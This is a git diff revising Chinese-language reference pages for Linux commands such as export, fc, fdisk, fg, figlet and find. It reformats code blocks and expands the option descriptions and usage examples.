-### 选项
+```shell
+# 首先删除要演示的函数名
+unset func_1 func_2
+# 创建函数
+function func_1(){ echo '123'; }
+function func_2(){ echo '890'; }
+
+# 为已定义函数增加导出属性
+export -f func_1 func_2
+
+# 删除函数的导出属性
+export -fn a b
```
--f:代表[变量名称]中为函数名称;
--n:删除指定的变量。变量实际上并未删除,只是不会输出到后续指令的执行环境中;
--p:列出所有的shell赋予程序的环境变量。
+
+```shell
+# 添加环境变量(JAVA)到`~/.bashrc`
+PATH=/usr/local/jdk1.7.0/bin:$PATH
+# 添加当前位置到动态库环境变量
+export LD_LIBRARY_PATH=$(pwd):${LD_LIBRARY_PATH}
```
-### 参数
+## 错误用法
+
+- 对未定义的函数添加导出属性。
+- 对没有导出属性的函数/变量执行删除导出属性操作。
+- 在 `--` 后使用选项。
+
+## Q&A
+
+#### Q:对变量或函数设置导出属性有什么用?
+
+A:它们会成为环境变量,可以在脚本中访问它们,尤其是脚本中调用的子进程需要时。( **[参考链接4][4]** )
-变量:指定要输出或者删除的环境变量。
+#### Q:如果我编写的脚本修改了已有的环境变量的值,那么执行它会在当前终端生效吗?会影响之前以及之后打开的终端吗?
-### 实例
+A:只有通过`source`方式调用的脚本会生效,您可以查看`source`命令获得更多信息;其他方式只是在子shell中执行。
+之前的不会影响,之后的除非是修改了`~/.bashrc`这种启动终端时加载的脚本。( **[参考链接1][1]** )
+
+#### Q:我脚本文件中调用`~/.bashrc`中定义的函数和变量。为什么在新打开的终端中通过 `sh` 方式调用该脚本或直接运行
+
+这个当前用户有执行权限的脚本却不能使用这些函数和变量?
+A:请在`~/.bashrc`文件中增加export它们的语句。另请参阅 **知识点** 段落。
+
+#### Q:数组和关联数组也可以设置导出属性吗?
+
+A:是可以的(如果你的bash支持它们),不过有些问题( **[参考链接2][2]** )。
+
+#### Q:为什么我在查看变量或函数导出属性的时候显示的开头是`declare`?
+
+A:因为`declare`也能够设置变量或函数的导出属性,详见`declare`命令。
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+### 知识点
+
+在`info bash`或 [bash在线文档](http://www.gnu.org/software/bash/manual/bash.html) 的
+ `3.7.3`节提到了shell执行环境,其中涉及变量和函数的内容如下
+
+> - shell parameters that are set by variable assignment or with set or inherited from the shell’s parent in the environment
+> - shell functions defined during execution or inherited from the shell’s parent in the environment
+
+那么第一句话中的参数又和变量有什么关系呢?在`3.4`节第一段中提到:
+
+> A variable is a parameter denoted by a name.
+
+变量是有名字的参数。
+
+那么子shell确实继承了父shell中带有导出属性的变量或函数。
+
+可参考链接: [执行脚本方式的区别](https://blog.csdn.net/soaringlee_fighting/article/details/78759448)
+
+
+### 参考链接
+
+1. [关于bashrc profile文件的讨论][1]
+2. [关于export数组的讨论][2]
+3. [export -pf用法][3]
+4. [环境变量和shell变量的区别][4]
+
+### 扩展阅读
一般来说,配置交叉编译工具链的时候需要指定编译工具的路径,此时就需要设置环境变量。查看已经存在的环境变量:
-```
+```shell
[root@localhost ~]# export
declare -x G_BROKEN_FILENAMES="1"
declare -x HISTSIZE="1000"
@@ -55,5 +179,9 @@ declare -x TERM="linux"
declare -x USER="root"
```
+[1]: https://www.cnblogs.com/hongzg1982/articles/2101792.html
+[2]: https://stackoverflow.com/questions/5564418/exporting-an-array-in-bash-script
+[3]: https://unix.stackexchange.com/questions/22796/can-i-export-functions-in-bash
+[4]: https://askubuntu.com/questions/26318/environment-variable-vs-shell-variable-whats-the-difference
+
-
\ No newline at end of file
diff --git a/command/exportfs.md b/command/exportfs.md
index fe3c88fb8f6..0ba823a4b40 100644
--- a/command/exportfs.md
+++ b/command/exportfs.md
@@ -1,6 +1,6 @@
exportfs
===
-
+
管理NFS共享文件系统列表
## 补充说明
@@ -9,7 +9,7 @@ exportfs 命令用来管理当前NFS共享的文件系统列表。
参数:
-```
+```shell
-a 打开或取消所有目录共享。
-o options,...指定一列共享选项,与 exports(5) 中讲到的类似。
-i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。
@@ -20,4 +20,3 @@ exportfs 命令用来管理当前NFS共享的文件系统列表。
```
-
\ No newline at end of file
diff --git a/command/expr.md b/command/expr.md
index 04224a072ab..78cf62d9a70 100644
--- a/command/expr.md
+++ b/command/expr.md
@@ -1,6 +1,6 @@
expr
===
-
+
一款表达式计算工具
## 补充说明
@@ -9,35 +9,34 @@ expr
expr的常用运算符:
-* 加法运算:+
-* 减法运算:-
-* 乘法运算:\*
-* 除法运算:/
-* 求摸(取余)运算:%
+- 加法运算:`+`
+- 减法运算:`-`
+- 乘法运算:`\*`
+- 除法运算:`/`
+- 取模(取余)运算:`%`
-### 语法
+### 语法
-```
+```shell
expr(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--help:显示指令的帮助信息;
--version:显示指令版本信息。
```
-### 参数
+### 参数
表达式:要求值的表达式。
-### 实例
+### 实例
-```
+```shell
result=`expr 2 + 3`
result=$(expr $no1 + 5)
```
-
\ No newline at end of file
diff --git a/command/false.md b/command/false.md
new file mode 100644
index 00000000000..7a22bfb6d56
--- /dev/null
+++ b/command/false.md
@@ -0,0 +1,26 @@
+false
+===
+
+返回状态为失败。
+
+## 概要
+
+```shell
+false
+```
+
+## 主要用途
+
+- 用于和其他命令进行逻辑运算。
+
+## 返回值
+
+返回状态总是失败;返回值为1。
+
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+
+
diff --git a/command/fc.md b/command/fc.md
index 74c4dab0605..d912c7c4c98 100644
--- a/command/fc.md
+++ b/command/fc.md
@@ -1,38 +1,56 @@
fc
===
-修改历史命令并执行
+显示历史列表中的命令或修改指定的历史命令并执行。
-## 补充说明
+## 概要
-**fc命令** 自动掉用vi编辑器修改已有历史命令,当保存时立即执行修改后的命令,也可以用来显示历史命令。fc命令编辑历史命令时,会自动调用vi编辑器。fc保存文件后,会自动执行所编辑过的命令。
+```shell
+fc [-e ename] [-lnr] [first] [last]
+fc -s [pat=rep] [command]
+```
-### 语法
+## 主要用途
-```
-fc [-e 编辑器名] [-lnr] [起始] [终结]
-fc -s [模式=替换串] [命令]
-```
+- 显示历史列表中的命令。
-### 选项
+- 编辑并重新执行历史列表的命令。
+## 选项
+
+```shell
+-e ename 选择使用的编辑器,默认调用次序为环境变量`FCEDIT`、环境变量`EDITOR`、`vi`。
+-l 列出而不是编辑。
+-n 列出时不输出行号(需配合-l选项)。
+-r 倒序列出命令,最近执行的先列出(需配合-l选项)。
+-s [pat=rep] [command] command(未指定时为最后执行的命令)将在pat替换为rep后重新执行。
```
--l:显示历史命令;
--n:显示历史命令时,不显示编号;
--r:反序显示历史命令。
-```
-### 参数
+## 参数
+
+first:可选;可以是字符串(以该字符串开头的最新命令)、数字(历史列表索引,负数代表当前命令号的偏移);未指定时设置为前一个命令并且偏移量为-16(最近的16条命令)。
+
+last:可选;可以是字符串(以该字符串开头的最新命令)、数字(历史列表索引,负数代表当前命令号的偏移);未指定时设置为参数first。
-* 起始指令编号:指定要编辑的起始指令编号;
-* 结尾指令编号:指定要编辑的结尾指令编号。
+## 返回值
-### 实例
+返回成功或执行命令的状态,当错误出现时返回非0值。
-使用该指令显示最近使用的10条历史命令,输入如下命令:
+## 例子
+替换命令参数:
+
+```shell
+# 列出 ~ 目录
+ls ~
+# 替换 ~ 为 / ,替换后列出根目录,
+fc -s ~=/
```
-[root@localhost ~]# fc -l -10 #显示10条历史命令
+
+显示最近使用的10条历史命令:
+
+```shell
+[root@localhost ~]# fc -l -10
1039 type -a grep
1040 export
1041 history 10
@@ -45,13 +63,18 @@ fc -s [模式=替换串] [命令]
1048 showkey -a
```
-第一列信息是历史命令的编号,第二列信息是历史命令的具体格式。若用户需要编辑第1040条历史命令时,则输入如下命令:
+编辑第1040条历史命令:
+```shell
+[root@localhost ~]# fc 1040
```
-fc 1040 #编辑第1040条历史命令
-```
-命令执行成功后,将自动调用vi编辑器编辑指定的命令,编辑完成后保存,会自动执行修改后的命令。当用户在vi编辑器中修改指令并保存后,被修改的命令会被自动调用并执行。
+
+### 注意
+
+1. 关闭终端后,历史列表将被写入历史文件`~/.bash_history`。
+2. 环境变量`FCEDIT`的值为`fc`默认的编辑器。
+3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
-
diff --git a/command/fdisk.md b/command/fdisk.md
index 2bcefba9882..ca678e90394 100644
--- a/command/fdisk.md
+++ b/command/fdisk.md
@@ -7,40 +7,57 @@ fdisk
**fdisk命令** 用于观察硬盘实体使用情况,也可对硬盘分区。它采用传统的问答式界面,而非类似DOS fdisk的cfdisk互动式操作界面,因此在使用上较为不便,但功能却丝毫不打折扣。
-### 语法
+### 语法
-```
-fdisk(选项)(参数)
+```shell
+fdisk [选项] <磁盘> 更改分区表
+fdisk [选项] -l [<磁盘>...] 列出分区表
```
-### 选项
+### 选项
-```
- -b <大小> 扇区大小(512、1024、2048或4096)
- -c[=<模式>] 兼容模式:“dos”或“nondos”(默认)
- -h 打印此帮助文本
- -u[=<单位>] 显示单位:“cylinders”(柱面)或“sectors”(扇区,默认)
- -v 打印程序版本
- -C <数字> 指定柱面数
- -H <数字> 指定磁头数
- -S <数字> 指定每个磁道的扇区数
+```shell
+
+选项:
+ -b, --sectors-size <大小> 显示扇区计数和大小
+ -B, --protect-boot 创建新标签时不要擦除 bootbits
+ -c, --compatibility[=<模式>] 模式,为“dos”或“nondos”(默认)
+ -L, --color[=<时机>] 彩色输出(auto, always 或 never)默认启用颜色
+ -l, --list 显示分区并退出
+ -x, --list-details 类似 --list 但提供更多细节
+ -n, --noauto-pt 不要在空设备上创建默认分区表
+ -o, --output <列表> 输出列
+ -t, --type <类型> 只识别指定的分区表类型
+ -u, --units[=<单位>] 显示单位,“cylinders”柱面或“sectors”扇区(默认)
+ -s, --getsz 以 512-字节扇区显示设备大小[已废弃]
+ -b, --bytes 以字节为单位而非易读的格式来打印 SIZE
+ --lock[=<模式>] 使用独占设备锁(yes、no 或 nonblock)
+ -w, --wipe <模式> 擦除签名(auto, always 或 never)
+ -W, --wipe-partitions <模式> 擦除新分区的签名(auto, always 或 never)
+
+ -C, --cylinders <数字> 指定柱面数
+ -H, --heads <数字> 指定磁头数
+ -S, --sectors <数字> 指定每条磁道的扇区数
+
+ -h, --help 显示此帮助
+ -V, --version 显示版本
```
-### 参数
+### 参数
设备文件:指定要进行分区或者显示分区的硬盘设备文件。
-### 实例
+### 实例
首先选择要进行操作的磁盘:
-```
+```shell
[root@localhost ~]# fdisk /dev/sdb
```
输入`m`列出可以执行的命令:
-```
+```shell
command (m for help): m
Command action
a toggle a bootable flag
@@ -63,7 +80,7 @@ Command action
输入`p`列出磁盘目前的分区情况:
-```
+```shell
Command (m for help): p
Disk /dev/sdb: 3221 MB, 3221225472 bytes
@@ -77,7 +94,7 @@ Units = cylinders of 16065 * 512 = 8225280 bytes
输入`d`然后选择分区,删除现有分区:
-```
+```shell
Command (m for help): d
Partition number (1-4): 1
@@ -87,7 +104,7 @@ Selected partition 2
查看分区情况,确认分区已经删除:
-```
+```shell
Command (m for help): print
Disk /dev/sdb: 3221 MB, 3221225472 bytes
@@ -101,7 +118,7 @@ Command (m for help):
输入`n`建立新的磁盘分区,首先建立两个主磁盘分区:
-```
+```shell
Command (m for help): n
Command action
e extended
@@ -125,7 +142,7 @@ Last cylinder or +size or +sizeM or +sizeK (101-391, default 391): +200M //分
确认分区建立成功:
-```
+```shell
Command (m for help): p
Disk /dev/sdb: 3221 MB, 3221225472 bytes
@@ -139,7 +156,7 @@ Units = cylinders of 16065 * 512 = 8225280 bytes
再建立一个逻辑分区:
-```
+```shell
Command (m for help): n
Command action
e extended
@@ -154,7 +171,7 @@ Using default value 391
确认扩展分区建立成功:
-```
+```shell
Command (m for help): p
Disk /dev/sdb: 3221 MB, 3221225472 bytes
@@ -169,7 +186,7 @@ Units = cylinders of 16065 * 512 = 8225280 bytes
在扩展分区上建立两个逻辑分区:
-```
+```shell
Command (m for help): n
Command action
l logical (5 or over)
@@ -192,7 +209,7 @@ Using default value 391
确认逻辑分区建立成功:
-```
+```shell
Command (m for help): p
Disk /dev/sdb: 3221 MB, 3221225472 bytes
@@ -215,7 +232,7 @@ Command (m for help):
最后对分区操作进行保存:
-```
+```shell
Command (m for help): w
The partition table has been altered!
@@ -227,7 +244,7 @@ Syncing disks.
在sdb1上建立ext2分区:
-```
+```shell
[root@localhost ~]# mkfs.ext2 /dev/sdb1
mke2fs 1.39 (29-May-2006)
Filesystem label=
@@ -253,7 +270,7 @@ This filesystem will be automatically checked every 32 mounts or
在sdb6上建立ext3分区:
-```
+```shell
[root@localhost ~]# mkfs.ext3 /dev/sdb6
mke2fs 1.39 (29-May-2006)
Filesystem label=
@@ -281,7 +298,7 @@ This filesystem will be automatically checked every 32 mounts or
建立两个目录`/oracle`和`/web`,将新建好的两个分区挂载到系统:
-```
+```shell
[root@localhost ~]# mkdir /oracle
[root@localhost ~]# mkdir /web
[root@localhost ~]# mount /dev/sdb1 /oracle
@@ -290,7 +307,7 @@ This filesystem will be automatically checked every 32 mounts or
查看分区挂载情况:
-```
+```shell
[root@localhost ~]# df -h
文件系统 容量 已用 可用 已用% 挂载点
/dev/mapper/VolGroup00-LogVol00
@@ -303,7 +320,7 @@ tmpfs 125M 0 125M 0% /dev/shm
如果需要每次开机自动挂载则需要修改`/etc/fstab`文件,加入两行配置:
-```
+```shell
[root@localhost ~]# vim /etc/fstab
/dev/VolGroup00/LogVol00 / ext3 defaults 1 1
@@ -318,4 +335,4 @@ proc /proc proc defaults 0 0
```
-
+
diff --git a/command/fg.md b/command/fg.md
index f319bab128d..df4757627ef 100644
--- a/command/fg.md
+++ b/command/fg.md
@@ -1,37 +1,48 @@
fg
===
-
-将后台作业放到前台终端运行
-## 补充说明
+将后台作业移动到前台终端运行
-**fg命令** 用于将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。与bg命令一样,若后台任务中只有一个,则使用该命令时,可以省略任务号。
+## 概要
-在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。
+```shell
+fg [job_spec ...]
+```
-### 语法
+## 主要用途
-```
-fg(参数)
-```
+- 用于将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。
-### 参数
+- 若后台任务中只有一个,则使用该命令时可以省略任务号。
-作业标识:指定要放到前台的作业标识号。
+## 参数
-### 实例
+job_spec(可选):指定要移动到前台执行的作业标识符,可以是一到多个。
-使用fg命令将任务号为1的任务从后台执行转换到前台执行,输入如下命令:
+## 返回值
-```
-fg 1 #将任务转换到前台执行
-```
+返回作业的执行状态,如果发生了错误返回失败。
-执行上面的命令后,命令行窗口将显示如下信息:
+## 例子
+```shell
+# 运行sleep命令,然后按下ctrl+z。
+sleep 60
+^Z
+[1]+ Stopped sleep 60
+
+# 使用fg命令使得作业在前台运行。
+fg %1
+
+# 返回信息:
+sleep 60
```
-find / -name password #前台执行命令
-```
+
+### 注意
+
+1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。
+2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。
+3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
-
\ No newline at end of file
diff --git a/command/fgrep.md b/command/fgrep.md
index 329187e61ef..15bb38859c7 100644
--- a/command/fgrep.md
+++ b/command/fgrep.md
@@ -1,6 +1,6 @@
fgrep
===
-
+
为文件搜索文字字符串
## 补充说明
@@ -9,23 +9,23 @@ fgrep
fgrep 命令于 grep 和 egrep 命令不同,因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。`$, *, [, |, (, )`和`\`等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式,但它们在 grep 和 egrep 命令中解释为正则表达式。因为这些字符对于 shell 有特定的含义,完整的字符串应该加上单引号`‘ ... ’`。. 如果没有指定文件, fgrep 命令假定标准输入。一般,找到的每行都复制到标准输出中去。如果不止一个输入文件,则在找到的每行前打印文件名。
-1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。
-2. 每行限制在 2048 个字节。
-3. 段落(-p 标志下)目前限制在5000个字符的长度。
-4. 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。
-5. 输入行不能包含空字符。
-6. 输入文件应该以换行字符结尾。
-7. 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。
+1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。
+2. 每行限制在 2048 个字节。
+3. 段落(-p 标志下)目前限制在5000个字符的长度。
+4. 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。
+5. 输入行不能包含空字符。
+6. 输入文件应该以换行字符结尾。
+7. 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。
-### 语法
+### 语法
-```
+```shell
fgrep(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b:在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。
-c:仅显示匹配行的计数。
-e 模式:指定模式。这个工作模式很简单,但当此模式以 a-(减号) 开头时却是很有用的。
@@ -45,17 +45,17 @@ n:将文件中每行的相对行号置于行前。
此命令返回以下出口值:
-```
+```shell
0 找到匹配项。
1 未找到匹配项。
>1 发现语法错误,或者文件不可访问(即使找到了匹配项)。
```
-### 实例
+### 实例
**搜索几个文件中的一个简单字符串:**
-```
+```shell
fgrep strcpy *.c
```
@@ -63,7 +63,7 @@ fgrep strcpy *.c
**计数匹配某模式的行数:**
-```
+```shell
fgrep -c 『{』pgm.cfgrep -c 『}』pgm.c
```
@@ -71,17 +71,16 @@ fgrep -c 『{』pgm.cfgrep -c 『}』pgm.c
如果在您的 C 程序中一行中没有包含多于一个 { (左括号) 或者 } (右括号),并且括号正确匹配,那么这两个数字将是一样的。如果这两个数字不一样,您可以将包含括号的行按照他们在文件中的位置顺序显示出来,使用以下命令:
-```
+```shell
egrep {\|} pgm.c
```
**显示包含某模式的文件名:**
-```
+```shell
fgrep -l strcpy *.c
```
搜索当前目录下以 .c 结尾的文件,然后显示包含 strcpy 字符串的文件名。
-
\ No newline at end of file
diff --git a/command/figlet.md b/command/figlet.md
new file mode 100644
index 00000000000..00934f2c03b
--- /dev/null
+++ b/command/figlet.md
@@ -0,0 +1,160 @@
+figlet
+===
+
+字符串转为 “字画符”。
+
+## 补充说明
+
+将普通字符串转为有简单字符拼接而成的 “字画符”。
+
+## 安装
+
+Ubuntu 等系统
+
+```shell
+apt-get update
+apt-get install -y figlet
+```
+
+CentOS 等系统
+
+```shell
+yum install epel-release
+yum install -y figlet
+```
+
+## 语法
+
+```shell
+figlet [ message ] [ -option ]
+```
+
+## 参数
+
+message 是需要转换的字符串。
+当没有输入 message 时,会读取标准输入,因此可以配合管道符等使用。
+
+## 选项
+
+```shell
+-w 限制输出宽度,默认为 '80'
+-c 居中显示
+-f 指定字体,默认为 'standard'
+-k 保留字符之间的空隙
+-t 对齐宽度到当前终端的宽度,这个参数优先级比 -w 高
+-v 显示版本信息
+```
+
+## 返回值
+
+字符串,由简单字符拼接而成的 “字画符”。
+
+## 示例
+
+### 从参数输入
+
+```shell
+figlet 'Hello, World!'
+```
+
+```bash
+ _ _ _ _ __ __ _ _ _
+| | | | ___| | | ___ \ \ / /__ _ __| | __| | |
+| |_| |/ _ \ | |/ _ \ \ \ /\ / / _ \| '__| |/ _` | |
+| _ | __/ | | (_) | \ V V / (_) | | | | (_| |_|
+|_| |_|\___|_|_|\___( ) \_/\_/ \___/|_| |_|\__,_(_)
+```
+
+### 配合管道符输入
+
+```shell
+echo 'Hello, World!' | figlet
+```
+
+```bash
+ _ _ _ _ __ __ _ _ _
+| | | | ___| | | ___ \ \ / /__ _ __| | __| | |
+| |_| |/ _ \ | |/ _ \ \ \ /\ / / _ \| '__| |/ _` | |
+| _ | __/ | | (_) | \ V V / (_) | | | | (_| |_|
+|_| |_|\___|_|_|\___( ) \_/\_/ \___/|_| |_|\__,_(_)
+```
+
+### 限制宽度
+
+```shell
+figlet 'Hello, World!' -w 40
+```
+
+```bash
+ _ _ _ _
+| | | | ___| | | ___
+| |_| |/ _ \ | |/ _ \
+| _ | __/ | | (_) |
+|_| |_|\___|_|_|\___( )
+ |/
+__ __ _ _ _
+\ \ / /__ _ __| | __| | |
+ \ \ /\ / / _ \| '__| |/ _` | |
+ \ V V / (_) | | | | (_| |_|
+ \_/\_/ \___/|_| |_|\__,_(_)
+```
+
+### 居中显示
+
+```shell
+figlet 'Hello, World!' -w 40 -c
+```
+
+```bash
+ _ _ _ _
+ | | | | ___| | | ___
+ | |_| |/ _ \ | |/ _ \
+ | _ | __/ | | (_) |
+ |_| |_|\___|_|_|\___( )
+ |/
+ __ __ _ _ _
+ \ \ / /__ _ __| | __| | |
+ \ \ /\ / / _ \| '__| |/ _` | |
+ \ V V / (_) | | | | (_| |_|
+ \_/\_/ \___/|_| |_|\__,_(_)
+```
+
+### 指定字体
+
+```shell
+figlet 'Hello, World!' -w 40 -c -f slant
+```
+
+```bash
+ __ __ ____
+ / / / /__ / / /___
+ / /_/ / _ \/ / / __ \
+ / __ / __/ / / /_/ /
+ /_/ /_/\___/_/_/\____( )
+ |/
+ _ __ __ ____
+ | | / /___ _____/ /___/ / /
+ | | /| / / __ \/ ___/ / __ / /
+ | |/ |/ / /_/ / / / / /_/ /_/
+ |__/|__/\____/_/ /_/\__,_(_)
+```
+
+### 保留字符之间的空隙
+
+```shell
+figlet 'Hello, World!' -w 40 -c -k
+```
+
+```bash
+ _ _ _ _
+ | | | | ___ | || | ___
+ | |_| | / _ \| || | / _ \
+ | _ || __/| || || (_) |_
+ |_| |_| \___||_||_| \___/( )
+ |/
+ __ __ _ _ _
+ \ \ / /___ _ __ | | __| || |
+ \ \ /\ / // _ \ | '__|| | / _` || |
+ \ V V /| (_) || | | || (_| ||_|
+ \_/\_/ \___/ |_| |_| \__,_|(_)
+```
diff --git a/command/file.md b/command/file.md
index 207c046286c..4302bf03999 100644
--- a/command/file.md
+++ b/command/file.md
@@ -1,21 +1,21 @@
file
===
-
-用来探测给定文件的类型。
+
+用来探测给定文件的类型
## 补充说明
**file命令** 用来探测给定文件的类型。file命令对文件的检查分为文件系统、魔法幻数检查和语言检查3个过程。
-### 语法
+### 语法
-```
+```shell
file(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b:列出辨识结果时,不显示文件名称;
-c:详细显示指令执行过程,便于排错或分析程序执行的情形;
-f<名称文件>:指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称;
@@ -25,15 +25,15 @@ file(选项)(参数)
-z:尝试去解读压缩文件的内容。
```
-### 参数
+### 参数
文件:要确定类型的文件列表,多个文件之间使用空格分开,可以使用shell通配符匹配多个文件。
-### 实例
+### 实例
显示文件类型
-```
+```shell
[root@localhost ~]# file install.log
install.log: UTF-8 Unicode text
@@ -45,12 +45,11 @@ install.log: text/plain; charset=utf-8
[root@localhost ~]# file -b -i install.log
text/plain; charset=utf-8
-
```
显示符号链接的文件类型
-```
+```shell
[root@localhost ~]# ls -l /var/mail
lrwxrwxrwx 1 root root 10 08-13 00:11 /var/mail -> spool/mail
@@ -65,8 +64,6 @@ lrwxrwxrwx 1 root root 10 08-13 00:11 /var/mail -> spool/mail
[root@localhost ~]# file -L /var/spool/mail
/var/spool/mail: directory
-
```
-
\ No newline at end of file
diff --git a/command/find.md b/command/find.md
index de3cad7d810..96612ab8420 100644
--- a/command/find.md
+++ b/command/find.md
@@ -3,84 +3,423 @@ find
在指定目录下查找文件
+## 解释
+
+从每个指定的起始点 (目录) 开始,搜索以该点为根的目录树,并按照运算符优先级规则**从左至右**评估给定的表达式,直到结果确定,此时`find`会继续处理下一个文件名。
+
## 补充说明
-**find命令** 用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。
+本文列出的选项指的是**表达式列表中的选项**。这些选项控制了`find`的行为,需在**最后一个路径名之后**立即指定。
-### 语法
+五个真实选项: `-H、-L、-P、-D 和 -O`。如果出现,**必须位于第一个路径名之前**。关于这部分内容本文不做描述,具体内容可参考[man7.org中的find](https://man7.org/linux/man-pages/man1/find.1.html#top_of_page)
-```
-find(选项)(参数)
+如果使用该命令时,不设置任何参数,则`find`命令将在当前目录下查找子目录与文件,并且将查找到的子目录和文件全部进行显示。等效于以下命令:
+```shell
+find . -print
```
-### 选项
+## 语法
+```shell
+find [-H] [-L] [-P] [-D debugopts] [-Olevel] [起始点...] [表达式]
```
+
+忽略真实选项后 (更为常见):
+```shell
+find [起始点...] [表达式]
+```
+
+## 表达式分类
+起始点(列表)之后的部分是表达式。这是一种**查询规范**,描述了我们如何匹配文件(返回**真**或者**假**)以及对匹配到的文件进行何种操作。表达式由一系列元素组成:
+- 测试(Tests):测试返回一个真或假值,通常基于我们正在考虑的文件的某个属性。例如,`-empty`测试仅在当前文件为空时为真。
+- 操作(Actions):操作具有副作用(例如在标准输出上打印内容),并返回真或假,通常基于它们是否成功。例如,`-print`操作会在标准输出上打印当前文件的名称。
+- 全局(Global):全局选项影响命令行中任何部分指定的测试和操作的执行。全局选项始终返回真值。例如,`-depth`选项使find以深度优先的顺序遍历文件系统。
+- 位置(Positional):位置选项仅影响其后的测试或操作。位置选项始终返回真值。例如,`-regextype`选项是位置选项,用于指定命令行中后续正则表达式所使用的正则表达式方言。
+- 操作符(Operators):运算符将表达式中的其他项连接起来。例如,它们包括`-o`(表示逻辑或)和`-a`(表示逻辑与)。如果缺少运算符,则默认使用`-a`。
+
+## 表达式选项
+
+### 测试选项
+```shell
-amin<分钟>:查找在指定时间曾被存取过的文件或目录,单位以分钟计算;
-anewer<参考文件或目录>:查找其存取时间较指定文件或目录的存取时间更接近现在的文件或目录;
-atime<24小时数>:查找在指定时间曾被存取过的文件或目录,单位以24小时计算;
-cmin<分钟>:查找在指定时间之时被更改过的文件或目录;
-cnewer<参考文件或目录>查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录;
-ctime<24小时数>:查找在指定时间之时被更改的文件或目录,单位以24小时计算;
--daystart:从本日开始计算时间;
--depth:从指定目录下最深层的子目录开始查找;
--expty:寻找文件大小为0 Byte的文件,或目录下没有任何子目录或文件的空目录;
--exec<执行指令>:假设find指令的回传值为True,就执行该指令;
+-empty:寻找文件大小为0 Byte的文件,或目录下没有任何子目录或文件的空目录;
+-executable 匹配当前用户可执行的文件和可搜索的目录。
-false:将find指令的回传值皆设为False;
--fls<列表文件>:此参数的效果和指定“-ls”参数类似,但会把结果保存为指定的列表文件;
--follow:排除符号连接;
--fprint<列表文件>:此参数的效果和指定“-print”参数类似,但会把结果保存成指定的列表文件;
--fprint0<列表文件>:此参数的效果和指定“-print0”参数类似,但会把结果保存成指定的列表文件;
--fprintf<列表文件><输出格式>:此参数的效果和指定“-printf”参数类似,但会把结果保存成指定的列表文件;
-fstype<文件系统类型>:只寻找该文件系统类型下的文件或目录;
-gid<群组识别码>:查找符合指定之群组识别码的文件或目录;
-group<群组名称>:查找符合指定之群组名称的文件或目录;
--help或——help:在线帮助;
-ilname<范本样式>:此参数的效果和指定“-lname”参数类似,但忽略字符大小写的差别;
-iname<范本样式>:此参数的效果和指定“-name”参数类似,但忽略字符大小写的差别;
-inum:查找符合指定的inode编号的文件或目录;
-ipath<范本样式>:此参数的效果和指定“-path”参数类似,但忽略字符大小写的差别;
-iregex<范本样式>:此参数的效果和指定“-regexe”参数类似,但忽略字符大小写的差别;
+-iwholename 模式参见`-ipath`。此选项的可移植性较`-ipath`差。
-links<连接数目>:查找符合指定的硬连接数目的文件或目录;
--iname<范本样式>:指定字符串作为寻找符号连接的范本样式;
--ls:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出;
--maxdepth<目录层级>:设置最大目录层级;
--mindepth<目录层级>:设置最小目录层级;
+-lname<范本样式>:指定字符串作为寻找符号连接的范本样式;
-mmin<分钟>:查找在指定时间曾被更改过的文件或目录,单位以分钟计算;
--mount:此参数的效果和指定“-xdev”相同;
-mtime<24小时数>:查找在指定时间曾被更改过的文件或目录,单位以24小时计算;
-name<范本样式>:指定字符串作为寻找文件或目录的范本样式;
-newer<参考文件或目录>:查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录;
+-newerXY<引用>:如果正在考虑的文件的时间戳 X 比文件引用的时间戳 Y 更新则成功。
-nogroup:找出不属于本地主机群组识别码的文件或目录;
--noleaf:不去考虑目录至少需拥有两个硬连接存在;
-nouser:找出不属于本地主机用户识别码的文件或目录;
--ok<执行指令>:此参数的效果和指定“-exec”类似,但在执行指令之前会先询问用户,若回答“y”或“Y”,则放弃执行命令;
-path<范本样式>:指定字符串作为寻找目录的范本样式;
-perm<权限数值>:查找符合指定的权限数值的文件或目录;
--print:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为每列一个名称,每个名称前皆有“./”字符串;
--print0:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行;
--printf<输出格式>:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式可以自行指定;
--prune:不寻找字符串作为寻找文件或目录的范本样式;
+-readable:匹配当前用户可读的文件
-regex<范本样式>:指定字符串作为寻找文件或目录的范本样式;
